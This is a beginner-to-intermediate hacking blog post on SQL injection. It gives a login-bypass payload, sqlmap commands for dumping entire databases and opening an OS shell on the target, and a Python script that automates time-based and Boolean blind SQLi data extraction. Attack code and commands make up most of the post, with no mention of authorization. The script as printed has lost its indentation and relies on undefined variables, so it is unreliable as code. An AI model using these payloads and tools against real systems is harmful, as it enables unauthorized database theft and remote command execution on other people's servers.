Hello guys, I Saitleop and its my first blog on Techyrick, thanks to him first of all for giving this stage to me, you might have seen me on Twitter or Medium with my tips & tricks. Unlike my medium I will be posting some advanced stuff here, based on bug bounties, red teaming, code review and other things I keep learning. So without any further delay let’s beginnnnn.
What is a SQli first of all??
So a SQL (Structured Query Language) Injection is a type of web security vulnerability, usually found in input points, where we inject a malicious piece of code instead of the intended input, for example
This is a simple login page where we usually put our ID and password, login and enjoy, and the vulnerable backend read its something like this.
SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'"
but what if I put something like this in the password or username field….
' OR 1=1--#
The backend gets tricked and logs us in without entering the actual password.
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password'
Now I wont be telling all about SQLi as this wasn’t meant to be so, but if you are a beginner you can learn more from here
Now as an intermediate hacker you might be knowing that some types of SQLi are very difficult to exploit manually and as a hacker we have 0% time to waste so we automate the tedious tasks.
Automating with SQLmap
So SQLmap is a tool used for automating SQLi you either download it locally using your package manager, and also from here, sqlmap
Some important commands to test for SQLi with sqlmap.
To open help manual
sqlmap -h
To test with a URL
sqlmap -u <https://url>
While this sqlmap asks a lot of questions if you want to suppress it run it with –batch
After we have found a vulnerability we can enumerate data from the database by running.
sqlmap -u <https://url> --dbs --tables --dump
If you want to dump everything from the database simply run
sqlmap -u <https://url> --dump-all
Sometimes when SQLi are severe we can get execute system commands on the target and eventually get an RCE
sqlmap -u <https://url> --os-shell
You can also run sqlmap through a request by simply capturing the request from burp or any other intercepting proxy and run..
sqlmap -r <absolute path of file> --batch
Usually sqlmap runs by a specific level and tries all techniques initially but you can customise it according to your specific target, usually the techniques are depicted as abbreviation as their first letter
- B: Boolean-based blind
- E: Error-based
- U: Union query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
sqlmap -u <https://url> --level <1-5> --risk <1-5> --technique=BEU
Finally if you want to pass your commands and what to see whats going at the backend you can use it with a proxy such as burpsuite
sqlmap -u <https://url> --proxy=http://127.0.0.1:8080/
BONUS: like the usual databases, nowadays we are seeing a lot of NoSQL databases for that we can use tools like nosqlmap.
Automating blind SQLi with Python
This section will take you through a python script that we use to automate Blind SQLi
Lets import some libraries first
import requests, time, urllib3
from termcolor import colored, cprint
from urllib.parse import quote
Next lets ask the user what type of Blind SQLi he wants to test
while True:
Method = input('SQLi type [T/B]: ') #T: Time-Based Blind SQLi, B: Boolean Blind SQLi
queryInput = input('SQL query: ')
if("*" not in queryInput):
break
print("Please specify a column name!")
Next we define our main function
def getQueryOutput(query, rowNumber=0, count=False):
global TIME
flag = True
queryOutput = ""
tempQueryOutput = ""
if(count):
dictionary = "0123456789"
else:
dictionary = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
while flag:
flag = False
for j in range(1, 1000):
for i in range(0, len(dictionary)):
tempQueryOutput = queryOutput + dictionary[i]
colorPrintAttempt(tempQueryOutput)
if(Method == 'T'):
if(count):
payload = "' AND IF(MID((select count(*) from (%s) as totalCount),%s,1)='%s',SLEEP(%s),0)--+" % (query, str(j), quote(dictionary[i]), str(TIME))
print("\nGetting rows count...\n")
else:
payload = "' AND IF(MID((%s limit %s,1),%s,1)='%s',SLEEP(%s),0)--+" % (query, rowNumber, str(j), quote(dictionary[i]), str(TIME))
print("\nScanning row %s/%s...\n"%((rowNumber+1),totalRows))
fullurl = url+payload
startTime = time.time()
r = session.get(fullurl,verify=False)
elapsedTime = time.time() - startTime
if elapsedTime >= TIME:
flag = True
break
elif(Method == 'B'):
if(count):
payload = "' AND (MID((select count(*) from (%s) as totalCount),%s,1))!='%s'--+" % (query, str(j), quote(dictionary[i]))
print("\nGetting rows count...\n")
else:
payload = "' AND (MID((%s limit %s,1),%s,1))!='%s'--+" % (query, rowNumber, str(j), quote(dictionary[i]))
print("\nScanning row %s/%s...\n"%((rowNumber+1),totalRows))
fullurl = url+payload
r = session.get(url+payload,verify=False)
currentLength = int(r.headers['Content-Length'])
if(currentLength != defaultLength):
flag = True
break
flag = False
if flag:
queryOutput = tempQueryOutput
continue
break
return queryOutput
Here we first define some variables, for testing purpose we define variable count and dictionary, this will be further sent with the request and if there is an error in the response we will start iterating and sending some defined payloads above.
Now we simply print the affected rows with some colour design in them 🙂
totalRows = int(getQueryOutput(queryInput,0,True))
output = "\nTotal rows: %s\n"%(totalRows)
colorPrint()
for i in range(0, totalRows):
currentOutput = getQueryOutput(queryInput,i)
output += '\n[+] Query output: ' + currentOutput
totalOutput = output +"\n"
colorPrint()
if(totalRows>1):
print('\n[+] All rows:\n')
output = totalOutput
colorPrint()
Credits to 21y4d for this awesome script, kuddos to him 😉
The actual script can be found here.
Thank you for reading guys, hope you enjoyed my blog, see you next time, till then
PEACE OUTTTT.
Jai shri krishna 🙂